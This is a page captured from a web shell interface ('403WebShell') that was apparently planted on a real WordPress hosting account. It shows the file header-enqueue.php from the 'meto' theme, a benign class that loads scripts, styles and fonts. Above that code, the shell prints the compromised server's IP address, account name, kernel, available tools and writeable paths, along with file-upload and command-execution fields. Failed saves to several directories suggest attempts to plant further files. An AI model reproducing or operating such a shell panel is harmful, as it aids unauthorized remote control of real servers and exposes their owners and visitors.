Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.140.188.195
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/themes/meto/includes/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/themes/meto/includes/classes/header-enqueue.php
<?php

namespace METO\Includes\Classes;

/**
 * Header and Enqueue class
 */
class Header_Enqueue
{
    public static function init()
    {
        add_action('wp_enqueue_scripts', array( __CLASS__, 'enqueue' ));

        add_filter('wp_resource_hints', array( __CLASS__, 'resource_hints' ), 10, 2);
    }

    /**
     * Gets the arrays from method scripts and styles and process them to load.
     * Styles are being loaded by default while scripts only enqueue and can be loaded where required.
     *
     * @return void This function returns nothing.
     */
    public static function enqueue()
    {
        self::scripts();

        self::styles();
    }

    /**
     * The major scripts loader to load all the scripts of the theme. Developer can hookup own scripts.
     * All the scripts are being load in footer.
     *
     * @return array Returns the array of scripts to load
     */
    public static function scripts()
    {
        $options = get_theme_mod(METO_NAME . '_options-mods');
        $ssl     = is_ssl() ? 'https' : 'http';

        $scripts = array(
            'popper'         => 'assets/js/popper.min.js',
            'bootstrap'         => 'assets/js/bootstrap.min.js',
            'jquery-mcustomscrollbar'     => 'assets/js/jquery.mCustomScrollbar.concat.min.js',
            'jquery-fancybox'     => 'assets/js/jquery.fancybox.js',
            'appear'      => 'assets/js/appear.js',
			'parallax'      => 'assets/js/parallax.min.js',
			'tilt-jquery'      => 'assets/js/tilt.jquery.min.js',
			'jquery-paroller'      => 'assets/js/jquery.paroller.min.js',
            'mixitup'      => 'assets/js/mixitup.js',
            'owl'          => 'assets/js/owl.js',
            'wow'          => 'assets/js/wow.js',
			'nav-tool'          => 'assets/js/nav-tool.js',
			'pagenav'          => 'assets/js/pagenav.js',
            'jquery-ui'             => 'assets/js/jquery-ui.js',
            'jquery-countdown'              => 'assets/js/jquery.countdown.js',
            'main-script'           => 'assets/js/script.js',
        );

        $scripts = apply_filters('METO/includes/classes/header_enqueue/scripts', $scripts);
        /**
         * Enqueue the scripts
         *
         * @var array
         */
        foreach ($scripts as $name => $js) {
            if (strstr($js, 'http') || strstr($js, 'https') || strstr($js, 'googleapis.com')) {
                wp_register_script("{$name}", $js, '', '', true);
            } else {
                wp_register_script("{$name}", get_template_directory_uri() . '/' . $js, '', '', true);
            }
        }

        wp_enqueue_script(array(
            'jquery',
            'popper',
            'bootstrap',
            'jquery-mcustomscrollbar',
            'jquery-fancybox',
            'appear',
			'parallax',
			'tilt-jquery',
			'jquery-paroller',
            'mixitup',
            'owl',
            'wow',
			'nav-tool',
			'pagenav',
            'jquery-ui',
            'jquery-countdown',
            'main-script'
        ));


        $header_data = array(
            'ajaxurl' => esc_url(admin_url('admin-ajax.php')),
            'nonce'   => wp_create_nonce(METO_NONCE),
        );

        wp_localize_script('jquery', 'meto_data', $header_data);

        if (meto_set($options, 'footer_js')) {
            wp_add_inline_script('jquery', meto_set($options, 'footer_js'));
        }
    }

    /**
     * The major styles loader to load all the styles of the theme. Developer can hookup own styles.
     * All the styles are being load in head.
     *
     * @return array Returns the array of styles to load
     */
    public static function styles()
    {
        $styles = array(
            'google-fonts'      => self::fonts_url(),
            'bootstrap'      => 'assets/css/bootstrap.css',
            'font-awesome'      => 'assets/css/font-awesome.css',
            'flaticon'      => 'assets/css/flaticon.css',
            'animate'      => 'assets/css/animate.css',
            'owl'      => 'assets/css/owl.css',
            'jquery-ui'      => 'assets/css/jquery-ui.css',
            'animation'      => 'assets/css/animation.css',
			'custom-animate'      => 'assets/css/custom-animate.css',
            'jquery-fancybox'      => 'assets/css/jquery.fancybox.min.css',
			'bootstrap-touchspin'      => 'assets/css/jquery.bootstrap-touchspin.css',
            'jquery-mcustomscrollbar'      => 'assets/css/jquery.mCustomScrollbar.min.css',
            'meto-mega-menu-styles'      => 'assets/css/mega-menu.css',
            'main-style'        => 'assets/css/style.css',
            'custom'            => 'assets/css/custom.css',
            'responsive'        => 'assets/css/responsive.css',
			'tut'        => 'assets/css/tut.css',
			'gridstyle'        => 'assets/css/gridstyle.css',
        );

        $styles = apply_filters('METO/includes/classes/header_enqueue/styles', $styles);

        /**
         * Enqueue the styles
         *
         * @var array
         */
        foreach ($styles as $name => $style) {
            if (strstr($style, 'http') || strstr($style, 'https') || strstr($style, 'fonts.googleapis')) {
                wp_enqueue_style("meto-{$name}", $style);
            } else {
                wp_enqueue_style("meto-{$name}", get_template_directory_uri() . '/' . $style);
            }
        }
        $options      = meto_WSH()->option();
        $custom_style = '';

        wp_add_inline_style('color', $custom_style);

        $header_styles = self::header_styles();

        if ($custom_font = $options->get('theme_custom_font')) {
            $header_styles .= meto_custom_fonts_load($custom_font);
        }

        wp_add_inline_style('meto-main-style', $header_styles);
    }

    /**
     * Register custom fonts.
     */
    public static function fonts_url()
    {
        $fonts_url = '';

        $font_families['Arimo']      = 'Arimo:400,700';
        $font_families['Cabin']      = 'Cabin:400,500,600,700';
		$font_families['Montserrat']      = 'Montserrat:300,400,500,600,700,800,900';

        $font_families = apply_filters('METO/includes/classes/header_enqueue/font_families', $font_families);

        $query_args = array(
            'family' => urlencode(implode('|', $font_families)),
            'subset' => urlencode('latin,latin-ext'),
        );

        $protocol  = is_ssl() ? 'https' : 'http';
        $fonts_url = add_query_arg($query_args, $protocol . '://fonts.googleapis.com/css');

        return esc_url_raw($fonts_url);
    }


    /**
     * Add preconnect for Google Fonts.
     *
     * @since METO 1.0
     *
     * @param array  $urls          URLs to print for resource hints.
     * @param string $relation_type The relation type the URLs are printed.
     *
     * @return array $urls           URLs to print for resource hints.
     */
    public static function resource_hints($urls, $relation_type)
    {
        if (wp_style_is('meto-fonts', 'queue') && 'preconnect' === $relation_type) {
            $urls[] = array(
                'href' => 'https://fonts.gstatic.com',
                'crossorigin',
            );
        }

        return $urls;
    }

    /**
     * header_styles
     *
     * @since METO 1.0
     *
     * @param array $urls URLs to print for resource hints.
     */
    public static function header_styles()
    {
        $data = \METO\Includes\Classes\Common::instance()->data('blog')->get();

        $options = meto_WSH()->option();

        $styles = '';
        if ($options->get('footer_top_button')) :
            $styles .= "#topcontrol {
                background: " . $options->get('button_bg') . " none repeat scroll 0 0 !important;
                opacity: 0.5;

                color: " . $options->get('button_color') . " !important;

            }";

        endif;

        $settings = get_theme_mod(METO_NAME . '_options-mods');

        if ($custom_font = meto_set($settings, 'theme_custom_font')) {
            $styles .= apply_filters('meto_redux_custom_fonts_load', $custom_font);
        }

        return $styles;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit